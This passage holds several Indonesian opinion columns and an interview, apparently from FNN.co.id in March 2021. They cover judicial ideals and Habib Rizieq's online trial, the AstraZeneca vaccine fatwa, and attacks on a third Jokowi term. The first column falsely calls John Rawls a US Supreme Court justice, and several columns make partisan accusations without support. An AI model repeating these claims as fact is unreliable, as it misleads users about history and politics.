mengakibatkan air sungai surut, bahkan bisa mengering. Tumbuhan juga sama, bisa mengering. Hujan terus-terusan juga tidak selalu baik. Keseimbangan menjadi hal yang darinya inspirasi tentang keadilan memiliki pijakan. Tidak diluar itu. Bagaimana ceritanya orang menyerahkan urusan yang diperselisihkan kepada hakim untuk ditetapkan atau dinyatakan hukumnya? Untuk waktu yang lama, Raja identik dengan negara, dan negara identik dengan raja. Raja juga identik dengan hukum dan pengadilan.Konsekuensinya peradilan-peradilan yang diselenggarakan oleh raja dan atas namanya sendiri. Menghianati raja sama dengan menghianati kerajaan, negara. Inilah akar konsep “penghianatan terhadap negara” sebagai salah satu alasan impeachment. Tetapi impeachment ala Inggris ironi hanya ditujukan pada pembantu raja, termasuk hakim yang menyelenggarakan persidangan atas nama raja. Praktis keadaan kehidupan direkayasa. Tadinya melalui titah raja, beralih menjadi direkayasa melalui hukum. Postur keadaan masyarakat menjadi postur kebijakan pemerintah. Postur masyarakat sepenuhnya menjadi cermin kebijakan pemerintah yang dilegalisasi dengan hukum. John Rawls, hakim top pada Mahkamah Agung Amerika, terilhami oleh keadaan itu. Baginya keadaan itu merupakan cerminan matinya fairness. Disisi lain fairnes, diyakini Rawls sebagai inti keadilan. Keadilan baginya merupakan nilai fundamental yang menggerakan masyarakat. Kebijakan-kebiakan politiklah menjadi sebagian besar sebab terjadinya ketidakadilan. Ini digambarkan sebagai tidak fair. Rawls, seperti Cicero dan Lon. L Fuller, mengerti fungsi dasar hukum. Bagi Cicero, juga Fuller, hukum itu cerminan derajat akal budi dan kemanusiaan. lmuan-ilmuan ini tahu keadilan selalu mengalir dari hasrat pemuliaan terhadap kemanusiaan. Keadilan tak bisa ditimbang dan dibaca secara terbalik dari konsep. Keadilan tidak bisa juga ditimbang dan dibaca semata-mata berdasarkan teks hukum. Tidak begitu. Bagi mereka, teks harus dipertalikan dengan keharusan memuliakan manusia. Teks tak abadi. Yang abadi dan melekat pada setiap diri manusia adalah kemanusiaannya. Konsekuensinya keadilan bagi setiap orang yang berselisih tidak bisa ditangguhkan, sekalipun hanya sementara, apapun alasannya, terutama politik. Menangguhkan keadilan, sama dengan menangguhkan “kemualiaan” manusia. Padahal dalam sifatnya, kemuliaan itu abadi pada setiap diri manusia. Alam semesta menertawakan setiap pikiran anak zaman, yang mengagungkan tujuan menghalalkan semua cara. Semesta tidak dibentuk dengan cara kotor. Tidak sama sekali. Seimbang dalam semua apek, itulah alam semesta. Itulah keadilan. Hakim Yang Dirindukan Hakim tipe John Rawls, tidak bakal menjadi mata, telinga dan mulut UU. Hakim tipe ini eksis sebagai mata, telinga dan mulut keadilan. Dia tahu teks hukum menjadi basis interpretasi. Tetapi dia akan pergi sejauh mungkin memeriksa pesan yang tak terlihat. Yang dilegalisasi oleh teks itu. Sebab tidak ada keadilan yang tak mengalir dari dan terikat pada hak. Betul hak didefenisikan hanya dalam hukum. Itu cara pandang positivis dalam lautan ilmu hukum. Cara pandang ini digunakan semua kaum oligarki. Hakim berotak bening, berhati mulia, yang tahu malu, karena mengenal dirinya sendiri sesempurna yang bisa sebagai hamba Allah Subhanahu Wata’ala, tidak bakal menelan begitu saja konsep positivistik itu. Bagaimana hukum dibuat pasti menjadi arena pemeriksaannya. Menjadi hakim sungguh tak mudah. Pekerjaan ini terlihat sulit. Hanya orang pintar dan terdidik jiwanya, yang dapat memasuki arena berbahaya ini. Hakim bertolak encer, dengan hati bening, memaksa dirinya melihat atasannya sebagai hal kecil. Menyepelekan kemauan politisi besar, akan terasa ringan baginya. Personal hakimlah penentu ada tidaknya keadilan. Kepintaran dan hikmahnya terlihat pada argumentasi yang disajikan dalam pertimbangan putusan. Pertimbangan itulah mahkota hakim. Tidak diluar itu. Hakim pintar dan berotak bening tidak berlindung dibalik contemp of court. Hakim pintar, dengan hati terbimbing sabda-sabda alam, tahu pengadilan itu tempat adu penjelasan, dan argumentasi. Contempt of Court, yang dikenal sebagai benteng pelindung independensi pengadilan, khususnya hakim, hanya punya satu tujuan. Tujuannya memberi jaminan kepada hakim untuk bebas menggunakan semua kemampuan intelektualnya yang terbimbing. Menemukan keadilan dalam perkara yang diperiksanya. Senjata itu, contempt of court dan independensi sebagai temuan hebat demokrasi, dalam praktek acap terlihat berwajah ganda. Terlihat sebagai singa lapar yang penyendiri pada satu waktu, dan di lain waktu terlihat ompong seompong-ompongnya. Pemerintah demokratis, selalu memilki sumberdaya melumpuhkan mereka. Gaji, fasilitas dan lainnya, adalah cara pemerintahan demokrasi menertawakan, membuat independensi pengadilan menjadi singa ompong seompong-ompongnya. Bukan pengadilan yang dikenang orang. Bukan, sekali lagi bukan. Yang dikenang orang dari pengadilan adalah hakim-hakimnya. Yang dikenang dari hakim adalah jalan pikiran yang tertuang dalam putusan dan sikap-sikapnya dalam sidang. Pembaca FNN yang budiman. Earl Warren, yang disingkirkan oleh Dwigh H. Eishenhower pada konvensi capres partai Republik, tetapi Warren diangkat oleh Eishenhower jadi Ketua Mahkamah Agung. Dia akhirnya ditulis dan dikenang sejarah sebagai hakim top karena putusan-putusannya. Putusannya dalam perkara Brown v. Board of Education (1954), Earl Warren menyatakan segregasi rasial di sekolah umum inconstitutional. Putusan the Warren Court itu juga dipakai menghentikan segreasi rasial yang dilembagakan dalam Jim Crow Laws, diseluruh negara bagian Selatan Amerika. Waren keluar dari sikap dan tindakan ketika masih menjadi kepala Depertamen Kehakiman California. Pada jabatan ini dia memimpin pemindahan orang Jepang-Amerika di California ke kamp penampungan. Ketika menjadi Chief of Justice di Supreme Court, Warren menjadi figur besar. Dengan kedudukannya sebagai Chief Justice, menghimpun seluruh koleganya menyudahi diskriminasi rasial yang jorok itu. Hebat. Amerika beruntung ada Earl Warren (Ketua Mahkamah Agung) dan Dwigh H. Eishenhower, Presiden. Ketika Orval Faubus, Gubernur Arkansas, menolak mematuhi putusan itu, Eishenhower mengirim National Guard ke Arkansas. Dia memaksa Gubernur Faubus mematuhi putusan itu. Hebat Eishenhower. Keduanya berhak atas penghormatan. Penghormatan yang samakah yang akan mendatangi Ketua Mahkamah Agung Kita, Yang Mulia Prof. Dr. H. Muhammad Syarifuddin SH. MH? Untuk sementara simpan saja dulu soal itu. Satu hal pasti dunia peradilan Indonesia mutakhir sedang diperbincangkan dalam konteks persidangan perkara Habib Rizieq. Pada satu sidang terlihat terjadi debat menarik antara habib dengan hakim. Habib Rizieq kukuh ingin menggunakan “haknya” yang diberikan oleh UU Nomor 8 Tahun 1981 tentang KUHAP. Hak itu adalah hadir dalam ruang sidang pengadilan. Betrdasarkan hak itu, Habib keberatan terhadap sidang atas perkaranya dilakukan secara online. Andai persidangan Habib terus dilakukan tanpa dirinya hadir dalam persidangan, maka soalnya logiskah keadaan itu diletakan semata dibatas putaran untung dan rugi menurut timbangan sistem hukum? Menariknya, kini gema contemp of court atas sikap habib membahana dengan citarasa menggelikan. Hak terdakwa yang diperoleh melalui UU ditangguhkan dengan Perma tidak bergema. Apa kata dunia? Kalau saja hak tak lagi penting, dikalahkan oleh keadaan, termasuk keadaan pandemic covid-19, alam semesta tak bakal menuntut semua mahluk patuh pada kaidahnya. Kala kaidah tentang hak tak lagi penting, maka kehidupan akan didatangi doktrin Thomas Hobes, ilmuan Inggris ini. Doktrinya adalah “bellum omnium contra omnes”. Ini anarchi condition. Yang kuat menerkam, menelan, memakan dan mengunyah yang lemah. Ini barbarian society. Tidak ada kemanusiaan, dan keadilan. Tragis dan memalukan. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Sidang HRS Yang Tanpa Beban, Tawakkal, dan Cerdas

by Asyari Usman Medan, FNN - Peribahasa Inggeris menyebutnya “nothing to lose”. Lebih-kurang bermakna “tanpa beban”. Jika seseorang berurusan dengan pihak lain tanpa beban, dia siap menerima apa pun hasilnya. Dapat ok, tak dapat juga ok. Adil ok, tak adil pun diterima. Begitulah kira-kira posisi Habib Rizieq Syihab (HRS) dalam menghadapi kasus yang diyakini oleh dia dan banyak orang lain sebagai perkara rekayasa. Perkara yang dibuat-buat. Diada-adakan. Nah, perasaan tanpa beban itu membuat HRS bisa ceplas-ceplos. Dia akan menyampaikan pendapat apa adanya. Tapi tidak berarti asal bunyi. Habib selalu mantap berargumentasi. Dia artikulat dan runtun. Mampu menguraikan alasan-asalan yang logis. Dari adu argumentasi antara Habib Rizieq versus ketua majelis hakim plus jaksa yang menyidangkan tuduhan kerumunan Petamburan, Megamendung, dan tes swab RS Ummi Bogor, dalam sidang online (daring) Jumat (19 Maret 2021), tampak jelas bahwa mengadili perkara rekayasa itu tidak mudah. Personel pengadilan dan penuntut umum terlihat kesulitan melaksanakan sidang. Begitulah perkara yang dipercaya publik sebagai rekayasa. Tidak punya ruh. Ada terdeteksi seolah penyidang tak punya pijakan hukum yang kuat. Sebaliknya, HRS tampak lebih meyakinkan sejak sidang pertama pada Selasa, 16 Maret 2021. Dia bisa mengajukan alasan bahwa sidang daring akan merugikan dirinya. Majelis hakim mengatakan sidang daring harus dilaksanakan sesuai Peraturan Mahkamah Agung (MA) Nomor 4 Tahun 2020. Tetapi, HRS menyampaikan dalih bahwa ada contoh-contoh sidang pengadilan yang bisa dihadiri langsung oleh terdakwa di ruang sidang. Termasuk terdakwa Joko Tjandra, Pinangki, Irjen Napoleon Bonaparte. Jaksa penuntut umum berkali-kali menyela ketika HRS menyampaikan “eksepsi” spontannya. Dia jelas “menguasai lapangan”. Ini sesungguhnya tak terlepas dari sikap HRS yang tidak takut kepada manusia. Dia memiliki basis “hanya takut kepada Allah” yang sangat kuat. Selain itu, tentu saja tingkat kecerdasan berpikir beliau juga berperan penting ketika silat lidah terjadi. Jadi, ada tiga faktor penting yang membuat HRS sukses menghadapi sidang kerumunan ini, yaitu: tanpa beban, tawakkal, dan cerdas.[] Penulis adalah Wartawan Senior FNN.co.id

Epidemiolog UI Pandu Riono: "Kematian di Eropa Tidak Terkait dengan AstraZeneca"

by Mochamad Toha Surabaya, FNN - Vaksin AstraZeneca mengandung unsur haram dalam proses pembuatannya. Meski begitu, Komisi Fatwa MUI telah menetapkan bahwa vaksin yang diproduksi di Korea Selatan itu boleh digunakan. Pertama, vaksin AstraZeneca ini hukumnya haram karena dalam tahapan proses produksinya itu memanfaatkan tripsin yang berasal dari babi. Namun, “Kedua, penggunaan vaksin Covid-19 AstraZeneca pada saat ini hukumnya dibolehkan,” kata Asrorun Niam. Dalam konferensi pers daring, Jumat, 19 Maret 2021, tersebut Ketua MUI Bidang Fatwa itu mengatakan ada lima pertimbangan utama MUI memutuskan hal ini. Pertama, adalah adanya kondisi kebutuhan yang mendesak (hajjah asy'ariyah) dalam fiqih, yang menduduki kedudukan darurat syar'i. Kedua, adanya keterangan dari ahli yang kompeten dan terpercaya tentang adanya bahaya atau resiko fatal jika tak segera dilakukan vaksinasi Covid-19. Sebelum memutuskan fatwa ini, MUI telah mengundang Kementerian Kesehatan, Badan Pengawas Obat dan Makanan (BPOM), produsen AstraZeneca, hingga pihak Bio Farma untuk mendapat masukan. Ketiga, ketersediaan vaksin Covid-19 yang halal dan suci, tak mencukupi untuk pelaksanaan vaksinasi Covid-19 guna ikhtiar mewujudkan kekebalan kelompok atau herd immunity. Keempat, adanya jaminan keamanan penggunaanya untuk pemerintah sesuai dengan penggunaannya. Terkait keamanan ini, telah dibahas oleh BPOM dalam rapat komisi fatwa sebelumnya. Kelima, pemerintah yang tak memiliki keleluasaan memilih jenis vaksin. “Mengingat keterbatasan vaksin yang tersedia baik di Indonesia maupun di tingkat global,” kata Asrorun. Ia mengatakan kebolehan penggunaan Vaksin AstraZeneca tidak akan berlaku lagi, jika lima alasan itu hilang. MUI terus meminta pemerintah untuk terus mengikhtiarkan ketersedian vaksin Covid-19 yang halal dan suci, khususnya bagi umat muslim di Indonesia. Sebelumnya, MUI juga telah menghasilkan fatwa tentang pengunaan human diploid cell (sel berasal dari bagian tubuh manusia) sebagai bahan produksi obat dan vaksin yang ditetapkan pada Munas X MUI, Kamis (26/11/2020) malam. Salah satu isi fatwa berisikan ketentuan hukum penggunaan human diploid cell untuk bahan obat atau vaksin hukumnya boleh bila terjadi kondisi kedaruratan atau kebutuhan mendesak. Alasannya pun sama dengan AstraZeneca. Dalam hal terjadi kondisi kedaruratan (dharurah syar'iyah) atau kebutuhan mendesak (hajah syar'iyah), penggunaan human diploid cell untuk bahan obat atau vaksin hukumnya boleh. PWNU Jawa Timur membuat fatwa yang lebih tegas lagi: “Halal karena unsur babi tak nyata lagi dalam produk akhir vaksin”. Jadi, manfaat vaksin dalam penanganan Covid-19 lebih besar daripada risiko efek samping masalah pembekuan darah atau reaksi Kejadian Ikutan Pasca Imunisasi (KIPI). Apalagi, BPOM sudah memberikan izin penggunaan vaksin AstraZeneca yang sebelumnya mendapat sorotan. Juru Bicara vaksinasi Coronavirus Disease 2019 BPOM, Lucia Rizka Andalusia, mengatakan izin diberikan dengan merujuk pada hasil pertemuan European Medicines Agencu (EMA) bersama Organisasi Kesehatan Dunia (WHO) yang dilaksanakan pada 18 Maret lalu. Untuk mengetahui sejauh mana perkembangan terkait penggunaan Vaksin AstraZeneca itu, berikut ini petikan wawancara Mochamad Toha dari FNN.co.id dengan Epidemiolog Universitas Indonesia dr. Pandu Riono, MPH, PhD. Meski haram karena mengandung babi, fatwa MUI membolehkan Vaksin AstraZeneca digunakan dengan alasan keadaan darurat. Apa bedanya dengan Sinovac? Hanya di Indonesia saja ada penilaian kehalalan yg dilakukan oleh lembaga non pemerintah. Ada beberapa kasus kematian pasca vaksinasi yang juga menimpa dokter dan nakes, juga ada guru, terakhir ada guru di Garut yang lumpuh. Melihat fakta ini, di mana letak amannya? Vaksin itu yang perlu menjadi penilaian sebaiknya dibatasi pada keamanan dan manfaatnya. Monitor KIPI di semua negara dan Indonesia sama prosedurnya pada setiap layanan vaksinasi itu untuk evaluasi keamanan, sampai sekarang semua vaksin aman dan efektif. Di Eropa ada 6 negara yang hentikan vaksinasi AstraZeneca karena ada beberapa kasus kematian karena terjadi pembekuan darah pasca divaksin. Komentar Anda? Kejadian yang ditemukan tidak ada kaitan dengan vaksin AstraZeneca, sekarang semua lanjut dengan kecepatan tinggi agar bisa kendalikan pandemi. Gimana kabar Vaksin Merah Putih dan Vaksin Nusantara? Kita sekarang sedang dalam proses belajar mengembangkan vaksin, yang jelas dasar ilmiah dan keterbukaan hanya vaksin merah-putih. Vaksin Nusantara? Itu lupakan saja, metodenya berdasarkan saintifik tidak logis untuk atasi pandemi infeksi Covid-19. Maksudnya? Karena itu hanya stimulasi imunitas seluler, padahal butuh keduanya, imunitas humoral dan seluler. Tidak praktis, lebih pas untuk terapi. Itu bukan penelitian peneliti Indonesia murni, lebih banyak peneliti dari Amerika, Aivita Biomedical Inc. (Mereka) itu yang punya lisensi dan pengetahuan sel dendritik untuk terapi kanker. Semua langkah uji klinis fase 1 banyak ketidapatuhan pada kaidah riset yang baik. Uji Klinis fase 3 AstraZeneca tidak pernah dilakukan di Indonesia, seperti Sinovac. Mengapa? Tidak semua vaksin harus diuji di negara masing-masing, selama uji klinis baik dan valid, ini berlaku sama di semua negara Apakah Vaksin AstraZeneca bisa imbangi kecepatan mutasi corona yang begitu cepat dengan berbagai varian? Kecepatan mutasi tidak tergantung jenis vaksin. Semua vaksin masih bermanfaat untuk cegah kematian dan sakit berat, walaupun sudah bermutasi. Yang pernah saya baca, sudah ada 48 varian pasca B117 yang masuk ke Indonesia. Bukan masuk, mutasi virus itu alamiah itu jenis Sars-Cov-2 ini, di Indonesia juga bermutasi terus, tapi yang di dunia ini baru ada 3 jenis varian yang dapat berpengaruh pada penanganan pandemi. Boleh disebutkan 3 jenis varian itu apa saja, supaya kalangan medis dan masyarakat tahu? B117, B1351, dan P1. (Sebenarnya) masyarakat tidak perlu tahu. Ok, mungkin tanda-tanda atau gejala medisnya kalau seseorang kena tiga varian itu apa saja? Juga tidak bisa dibedakan, tetap sebagian besar tidak bergejala. Berarti berbahaya juga dan ganas, karena tidak ada gejala? Yang lama juga sama 85% lebih juga tidak bergejala, OTG (orang tanpa gejala). B117 sudah diketahui lebih mudah menular dan kematian lebih tinggi. Kembali ke soal AstraZeneca yang dihentikan penggunaannya di Eropa. Apa karena ditemukan kematian pasca divaksin AstraZeneca yang menyebabkan penggumpalan darah? Tidak dihentikan, lanjut kok! Memang, ada kasus tersebut tetapi tak terkait dengan vaksin, lanjut diberikan. Terakhir, di Indonesia ini apa tidak ada ilmuwan yang bisa buat vaksin atau formula herbal yang bisa atasi virus semacam Covid-19? Vaksin Merah-Putih itu adalah ilmuwan Indonesia, risetnya mahal dan sekarang belajar saja. Pencegahan lebih penting dan mudah, bukan pengobatan tidak ada manfaatnya karena virus tersebut hanya 1 minggu aktif lalu inaktif. Penulis adalah Wartawan Senior FNN.co.id

Jangankan Tiga Periode, Dua Saja Rakyat Sudah Jenuh

by Tarmidzi Yusuf Bandung FNN - Belum ada alasan logis dan ilmiah wacana presiden tiga periode. Jalan periode kedua saja, rakyat sudah tidak kuat menanggung tekanan hidup sehar-hari. Beban untuk bisa memenuhi kebutuhan hidup rakyat sehari-hari sudah semakin memberatkan. Kondisi ini sebagai akibat dari tata kelola negara yang amburadul, suka-suka hati dan tidak paham apa yang dikerjakan. Negara diurus tidak sesuai dengan prinsip-prinsip tata kelola yang baik dan benar. Adakah yang bisa menjelaskan keberhasilan rezim ini selama Jokowi menjadi presdiden secara ilmiah? Misalnya, ekonomi mengalami lompatan pertumbuhan yang spektarkuler. Dari 5% yang ditinggaalkan Soesilo Bambang Yudhoyono di Oktober 2014, naik menjadi 6% atau 7%? Faktanya pertumbuhan ekonomi bukannya bertambah baik, namun malah terjun bebas, dengan angla pertumbuhan ekonomi minus. Selama tahun 2020 saja, Indonesia telah mengalami pertumbuhan minus -2,07%, demikian ditulis (Binis Indonesia.com 07/02/2021). Dengan demikian, selama Jokowi menjabat telah mengalami pertumbuhan eknomi minus -7,07% dari sebelumnya pertumbuhan ekonomi 5,6% ketika ditinggal SBY pada 20 Oktober 2014 lalu. Ketergantungan negara terhadap utang luar negeri bukannya semakin berkurang. Malah semakin ugal-ugalan di eranya Jokowi menjadi presiden. Utang pemerintah sejak Presiden Soekarno sampai SBY akhir 2014 hanya sebesar Rp. 2.982 triliun. Jumlah itu, terdiri dari utang luar negeri pemerintah Rp 1.881 triliun, dan utang dalam negeri yang berbentuk Surat Utang Negara (SUN) Rp. 1.101 trliun. Sekarang total hutang pemerintah sampai akhir Februari 2021 adalah Rp. 6.390 triliun. Jumlah tersebut, terdiri dari utang luar negeri pemerintah Rp. 3.034 triliun, dan utang dalam negeri yang berbentuk SUN Rp. 3.356 triliun Dengan demikian, hanya dalam enam setengah tahun pemerintahan, Jokowi telah sukses dan berhasil membuat hutang pemerintah Rp. 3.408 trliun. Pemerintahan Jokowi telah berhasil menyapu bersih prestasi seluruh utang pemerintah yang dibuat sejak Republik Indonesia berdiri 17 agustus 1945 lalu, yang hanya Rp 2.982 triliun. Hebat sekali Jokowi. Prestasinya yang sangat luar biasa dan spektakuler adalah menciptakan utang pemerintah yang melampaui enam presiden sebelumnya. Patut mendapatkan rekor dari Mesium Muri dari Jaya Suprana. Sekarang Parlemen lemah. DPR berhasil dikangkangi dengan UU Nomor 2 tahun 2020 tentang Corona yang namanya sangat panjang itu. Akibatnya, penegakan pukum parah. Tajam ke oposisi, dan tumpul ke koalisi. Diskriminasi dan kriminalisasi. Habib Rizieq Shihab (HRS) ditangkap. FPI juga dibubarkan. Laskarnya enam orang dibunuh. Sidang pengadilan dengan online. Kenapa takut dengan sidang offline? Kedzaliman yang bagaimana lagi yang hendak kalian sembunyikan? Menguatkan asumsi bahwa hukum hanya ditegakan berdasarkan pesanan cukong dan penista agama. Korupsi juga semakin menggurita. BUMN berguguran dan collapse, terjerat oleh utang, dan core business terancam diambil alih swasta. Sistem ekonomi kapitalistik dan liberalistik merajalela. Sistem multi partai mengarah ke eksisnya partai tunggal. Partai dan ketua umum telah terkooptasi oleh oligarki politik bercitarasa RRC komunis. Politik penuh dengan rasa dendam, kebencian dan permusuhan terhadap pemeluk agama mayoritas. Petugas partai hanya melaksanakan skenario sesuai agenda pemodal dan operator. Komandan operator lapangan adalah geng jenderal merah. Kalau ada rakyat yang mau agar Jokowi tiga periode. Pertanyaanya adalah, itu rakyat yang mana ya? Jangan tiga periode, dua saja rakyat sudah jenuh dan sumpek. Jangan-jangan yang punya gagasan tiga periode, hanya mempolitisasi “keluguan rakyat” dengan janji-janji palsu, dan penggiringan opini melalui lembaga survei, politisi dan pengamat partisan. Pemilihan Presiden (Pilpres) 2014 dan 2019 saja rakyat meragukan kalau dilaksanakan dengan jujur dan adil. Bagaimana mungkin minta tiga periode ketika Pilpres ditengarai penuh kecurangan dan banyak pemilih siluman? Ketiadaan prestasi dan reputasi kecuali hanya menjalankan agenda politik mafia taipan cukong dan jenderal merah. Penulis adalah Pegiat Da’wah dan Sosial.

Hati-Hatilah Kalian, Habib Rizieq Itu Bukan Penjahat

by Asyari Usman Medan, FNN - Tuan-tuan yang terhormat, para penguasa Indonesia. Tuan-tuan yang mulia, yang bisa melakukan apa saja sesuka hati. Kemarin, banyak orang yang meneteskan air mata. Mereka sedih. Terhenyak. Mereka juga marah. Perasaan mereka tertusuk. Karena kalian perlakukan Habib Rizieq Syihab (HRS) dengan semena-mena. Dengan hina. Dengan angkuh. Dengan sombong. Ingatlah, wahai para penguasa! HRS bukan meminta perlakuan istimewa. Dia tidak meminta apa-apa dari kalian. Dia hanya meminta agar dihadirkan langsung di ruang sidang PN Jakarta Timur untuk mengikuti persidangan atas dirinya. Dia meminta itu bukan karena gagah-gagahan. Bukan karena ingin menghambat. Beliau meminta hadir langsung disebabkan rasa tak nyaman mengikuti sidang online (daring). Mengenai peraturan Mahkamah Agung (MA) yang mengharuskan sidang daring, Habib menyebutkan beberapa contoh terdakwa bisa hadir di ruang sidang langsung. Termasuk Joko Tjandra, Pinangki, dan Irjen Napoleon Bonaparte. HRS tegas menolak sidang daring. Beliau mempersilakan majelis hakim melanjutkan sidang tanpa kehadiran dirinya lewat kamera. Mempersilakan hakim menjatuhkan vonis apa saja. Beliau rela. Belian akan terima. Asalkan dia tidak dipaksa sidang daring. Beliau digiring dengan paksa untuk duduk di depan kamera yang tersambung ke ruang sidang. Proses pemaksaan inilah yang membuat Habib Rizieq merasa dihinakan. Beliau tidak merasa tinggi dari siapa pun. Tapi, cara dia dipaksa ke depan kamera telah menyinggung perasaan beliau. Tuan-tuan yang terhormat. Hati-hatilah kalian. HRS itu bukan penjahat seperti yang kalian persepsikan lewat penangkapan, penahanan, pendakwaan dan penyidangan. Dia hanya berusaha memperjuangkan keadilan. Dia berjuang agar bangsa dan negara ini bebas dari berbagai kejahatan yang terstruktur, sistematis dan masif (TSM). Lihatlah, tuan-tuan yang mulia. HRS tidak melakukan perbuatan yang merugikan rakyat dan negara. Kalian semua tahu itu. Dia hanya didakwa melakukan tindak pidana kerumunan. Tentu kalian masih ingat ketika Presiden Joko Widodo memicu kerumunan di Maumere, NTT, sewaktu dia melakukan kunjungan pencitraan di sana pada 23 Februari 2021. Dia tidak disentuh hukum. Ada saja alasan yang kalian kemukakan. Padahal, jelas-jelas Jokowi dikerumuni ratusan atau mungkin ribuan orang tanpa protokol kesehatan. Ingat, tuan-tuan yang terhormat! Habib Rizieq tidak melakukan kejahatan yang merugikan rakyat, bangsa, dan negara. Yang melakukan kejahatan di Indonesia ini adalah mereka yang rakus, sadis, bengis. Bukan HRS. Mereka yang menggarong kekayaan rakyat di Kalimantan, Sulawesi, Papua, dlsb. Bukan HRS. Mereka yang menilap dana Covid-19 sampai triliunan rupiah. Bukan HRS. Mereka pula yang melakukan korupsi lobster, Jiwasraya, Asabri, Bumiputra, Pertamina, BLBI, Century, dll. Bukan HRS. Mereka yang membangkrutkan maskapai Garuda Indonesia. Bukan HRS. Mereka yang membuat PLN tumpur-lebur. Bukan HRS. Mereka yang mencuri uang e-KTP. Bukan HRS. Mereka yang melindungi Tuan Joko Tjandra (JK). Bukan HRS. Mereka yang membuatkan surat jalan untuk JT ketika dia menyeludup masuk dari pelarian di luar negeri. Bukan HRS. Mereka yang mengusahakan penghapusan “red notice” Interpol Joko Tjandra dengan cara menyogok. Bukan HRS. Mereka yang mau membuatkan fatwa bebas Mahkamah Agung (MA) untuk JT dengan proposal 150 miliar. Bukan HRS. Mereka yang menerima sogok Buku Merah. Bukan HRS. Mereka yang sedang menumpuk kakayaan ilegal. Bukan HRS. Mereka yang mejerumuskan negara ini ke jurang utang besar. Bukan HRS. Mereka juga yang menggerogoti uang pinjaman ribuan triliun itu. Bukan HRS. Mereka pula yang merusak lingkungan dan hutan di mana-mana. Bukan HRS. Tapi, mengapa HRS yang dizalimi? Yang dikejar-kejar sampai ke lubang cacing? Yang, konon, diskenariokan akan mendekam di penjara sampai usai Pilpres 2024? Hati-hatilah kawan. Jangan kalian hinakan Habib Rizieq. Dunia ini berputar. Semua orang memperhatikan kezaliman kalian. Penulis adalah Wartawan Senior FNN.co.id.

Presiden Tiga Priode Bukan Ilusi

by M. Rizal Fadillah Bandung FNN - Wacana tiga periode masa jabatan Presiden terus menggelinding. Gagasan ini sejalan dengan agenda Amandemen UUD yang ingin menghidupkan kembali Garis-garis Besar Haluan Negara (GBHN). Publik melihat ini sebagai agenda tersembunyi. Berbagai elemen masyarakat mewacanakan melalui berbagai spanduk dan pandangan kalangan politisi. Misaslnya, seperti yang diungkapkan oleh mantan politisi Partai Gerindra Arief Poyouno atau Sekretaris Fraksi Partai Golkar DPR, Saan Mustofa. Arief yakin 85% rakyat mendukung gagasan tiga periode. Pandangan Amien Rais untuk mewaspadai kemungkinan amandemen UUD 1945 dipakai sebagai pintu masuk untuk penambahan periode jabatan Presiden mengingatkan dirinya bahwa saat memimpin sidang-sidang MPR. Ketika itu MPR justru mengamandemen dari tidak terbatasnya masa jabatan Presiden yang dipraktekkan rezim Orla dan Orba menjadi hanya dua periode saja. Reaksi Presiden Jokowi yang menolak atas usulan tiga periode yang dinilai menampar, mencari muka, dan menjerumuskan itu belum mampu meyakinkan publik. Masalahnya adalah kepentingan koalisi yang dapat mendaulat dengan dalih dukungan rakyat. Disamping tentunya tingkat kepercayaan publik yang rendah pada ucapan dan kebijakan Presiden Jokowi. Buku karya Ben Bland yang berjudul "Man of Contradictions : Joko Widodo and The Struggle to Remake Indonesia" cukup menggelitik. Profil Jokowi digambarkan penuh dengan kontradiksi. Jokowi adalah seorang demokrat yang terjebak dalam otoritarianisme. Orientasi ekonominya liberal, tetapi prakteknya adalah proteksionisme. Presiden mencitrakan diri sebagai rakyat, namun dikelilingi oleh elite oliganki dan konglomerasi busuk, picik, licik dan culas. Jokowi terlihat menjunjung keberagaman, tetapi dia berlindung dibalik kelompok konservatif". Jokowi memang tak memiliki visi politik dan semangat demokrasi. Maunya pemerintahan tanpa oposisi. Menurutnya demokrasi liberal tak cocok dengan nilai-nilai demokrasi Indonesia yaitu gotong royong. Arahnya adalah otoritarianisme. Partai Politik dan Parlemen yang dikuasai. Bland menyebut Jokowi sebagai "orang partai Soekarno yang berfikir layaknya Soeharto". Dari aspek Hukum Tata Negara semangat PDIP dan partai lain yang ingin mengembalikan kewenangan MPR untuk menetapkan GBHN atau kini PPHN sebagai pedoman bagi Presiden untuk menjalankan pemerintahan, membawa konsekuensi pada kedudukan Presiden sebagai Mandataris. Dengan demikian, Presiden harus mempertanggungjawabkan pelaksanaan GBHN atau PPHN kepada MPR. Artinya, terbuka untuk Presiden dipilih oleh MPR kembali. Adapun arah wacana dari perpanjangan jabatan hingga tiga periode, memiliki beberapa target politik. Pertama, untuk meng-upgrade wibawa Presiden yang semakin ambruk. Predikat Presiden tanpa prestasi, tukang hutang, spesialis ingkar janji, atau tidak kapabel menunjukkan kerendahan wibawa. Dengan wacana tiga periode, beserta penolakannya, maka dicitrakan bahwa sebagai Presiden itu hebat, sehingga masih dibutuhkan lagi. Kedua, politik dialektika yang sedang dimainkan. Tesisnya dukungan tiga periode, anti tesis Jokowi menolak. Sintesisnya adalah proteksi keamanan dan kepentingan pasca turun di 2024 bersama dengan para dinastinya. Ada jaminan dari partai koalisi, termasuk Partai Demokrat yang baru dilumpuhkan atau dibajak oleh Moeldoko. Ketiga, memastikan untuk berakhir sampai 2024. Desakan untuk mundur sebelum 2024 semakin menguat sejalan dengan rontoknya ekonomi, persoalan hak asasi, gonjang ganjing ideologi. Begitu juga dengan indeks demokrasi yang anjlok serta rapat merat penegakan Hak Asasi Manusia (HAM ) dari Kominasi Nasional (Komnas HAM). Penanganan pandemi covid-19 yang juga membuat frustasi. Wacana tiga periode adalah melompat dalam optimisme untuk membungkus pesimisme. Jokowi lebih pantas mundur sebelum 2024. Langkah ini sebagai upaya penyelamatan bangsa dan negara dari keterpurukan. Mundur sebelum 2024 jauh lebih baik untuk upaya pemulihan ekonomi, politik dan sosial budaya. Teriakan palsu menolak atau menganggap ilusi jabatan Presiden tiga periode adalah permainan politik. Begitu masif, terstruktur, dan sistematik upaya pembodohan rakyat yang sedang terjadi. Karenanya, untuk membuktikan bahwa benar Jokowi tak berminat untuk jabatan tiga periode, berilah pelajaran berharga bagi masyarakat, rakyat, dan bangsa Indonesia untuk lengser dengan terhormat sebelum 2025. Jika dengan sukarela Jokowi mengundurkan diri sebelum selesai jabatan tahun 2024. Dampak positif adalah, pasti Jokowi akan dikenang sebagai pemimpin yang tahu diri. Dengan besar hati mau pemberi kesempatan kepada generasi mendatang yang jauh lebih baik darinya. Jika Arief Poyouno yakin 85% rakyat dukung tiga periode untuk Jokowi, nampaknya keyakinan lain adalah 85% rakyat Indonesia dukung Pak Jokowi selesai sebelum 2024. Apakah untuk pembuktian ini perlu Referendum? Boleh juga rasanya 